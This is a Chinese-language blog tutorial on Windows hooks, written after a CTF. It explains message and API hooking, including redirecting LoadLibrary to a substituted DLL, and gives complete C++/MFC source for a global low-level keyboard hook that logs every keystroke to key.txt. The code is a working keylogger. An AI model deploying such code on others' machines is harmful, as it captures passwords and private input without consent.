Hook学习

kxctf中碰到了这个,不会,wp都看不懂

Posted by gxkyrftx on December 28, 2018

0x01 hook是什么

Hook,是Windows消息处理机制的一个平台,应用程序可以在上面设置子程序以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。

钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。

划重点:监视某程序,等一个事件发生,在正常的应该处理这个事件的动作之前,先进行捕获,hook函数先执行这个事件。

0x02 hook的原理

举个例子,弹窗是程序中很常见的一个api(Application Programming Interface,就是开发人员预置的程序接口,使用者可以调用),常见的就是MessageBox函数,那么hook就是,我们把这个API,变为我们的API去执行,执行完我们的代码之后再去执行它的的函数。

其实相当于就是我们在这个API之前,跳转到我们的函数执行了,然后跳转之后,我们执行完毕之后,可以选择是否在跳转回去,但是这里注意,跳转回去则跳转到msg的return处位置即可。eax可以给一个值,让它返回。

利用这个技术,我们可以监控API,比如应用程序会调用loadLibrary,那我们把它Hook了,把Dll路径改成我们的,那加载的就是我们的dll了,当然 Hook的API很多,因为只要是Windows的API都能HOOK

0x03 hook实例-获取键盘输入

说一千道一万,最重要的还是要落实到应用,来看看怎么实现

1.开发环境

windows10,vs2010

2.前期准备

文件——>新建——>项目——>MFC——>MFC应用程序——>应用程序类型选基于对话框——>完成

然后画两个按钮,如图所示

hook1

3.程序实现

4.添加库与全局变量

#include <iostream> 

#include <string> 

#include <fstream>
 
using namespace std;
 
//全局变量
HHOOK glhHook = NULL;			//安装的鼠标勾子句柄 

BOOL g_bCapsLock = FALSE;		//大小写锁定键

BOOL g_bShift = FALSE;			//shift键

ofstream SaveFile("key.txt");

2.双击hook按钮,对其编程

	void CKeyboardHookDlg::OnBnClickedButton1() {
	string str = "start:";
	SaveFile << str << endl;
	
	glhHook = SetWindowsHookExA(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), NULL);
	
	//这里调用SetWindowsHookExA()函数,因为hook的实现不是在DLL中,而是直接在KeyboardHookDlg.cpp中实现,所有第3个参数使用	GetModuleHandle(NULL)
	
	if (glhHook != NULL) {
		//AfxMessageBox(L"StartHook成功!");//用于打桩测试
	} 
	else 
	{
		AfxMessageBox(L"StartHook失败!");
	}
	}

3.双击stophook,对其编程

	void CKeyboardHookDlg::OnBnClickedButton2() {
		UnhookWindowsHookEx(glhHook);
	}

4.在键盘输入了字符,处理这件事

//键盘钩子回调函数
LRESULT  CALLBACK  KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
	
	char c[2];
	c[1] = 0;
	if ((wParam == WM_KEYDOWN) && (HC_ACTION == nCode)) {		//有键按下
		
		KBDLLHOOKSTRUCT *  keyNum = (KBDLLHOOKSTRUCT *)lParam;
 
		//处理字母大小写
		
		if ((keyNum->vkCode == VK_CAPITAL) || (keyNum->vkCode == VK_LSHIFT) || (keyNum->vkCode == VK_RETURN) || (keyNum->vkCode >= 65 && keyNum->vkCode <= 90)) {
			
			if (!GetKeyState(VK_CAPITAL)) {	//如果大写锁定键未被按下
			
				g_bCapsLock = FALSE;
			} else {
				g_bCapsLock = TRUE;
			}
 
			if (GetAsyncKeyState(VK_LSHIFT) & 0x8000) { //如果shift键被按住
			
				g_bShift = TRUE;
			} else {
				g_bShift = FALSE;
			}
 
			if (keyNum->vkCode >= 65 && keyNum->vkCode <= 90) {
				BOOL flag = g_bCapsLock^g_bShift;//同假异真
				
				if (flag) {
					c[0] = keyNum->vkCode;
				} else {
					c[0] = keyNum->vkCode + 32;
				}
				SaveFile << (int)c[0] << " : " << c << endl;
			}
		}
		//处理数字小键盘
		
		else if (keyNum->vkCode == 144 || (keyNum->vkCode >= VK_NUMPAD0 && keyNum->vkCode <= VK_NUMPAD9)) { //144表示数字小键盘锁键
 
			if (GetKeyState(144)) {		//如果数字小键盘锁键被按下
			
				int mapKey = keyNum->vkCode - 48;
				SaveFile << keyNum->vkCode << " : " << char(mapKey) << endl;
			}
 
		} else {
			SaveFile << keyNum->vkCode << " : " << char(keyNum->vkCode) << endl;
		}
	}
	return CallNextHookEx(glhHook, nCode, wParam, lParam);
}

5.随后调试,生成解决方案

0x04 运行结果

将生成的MFC程序,移动至任何目录下,随后打开程序,单击hook,随意从键盘输入,观察到本目录出现了key.txt文件,打开看,就是刚才记录的值

hook2

成品在这里成品


本文访问量: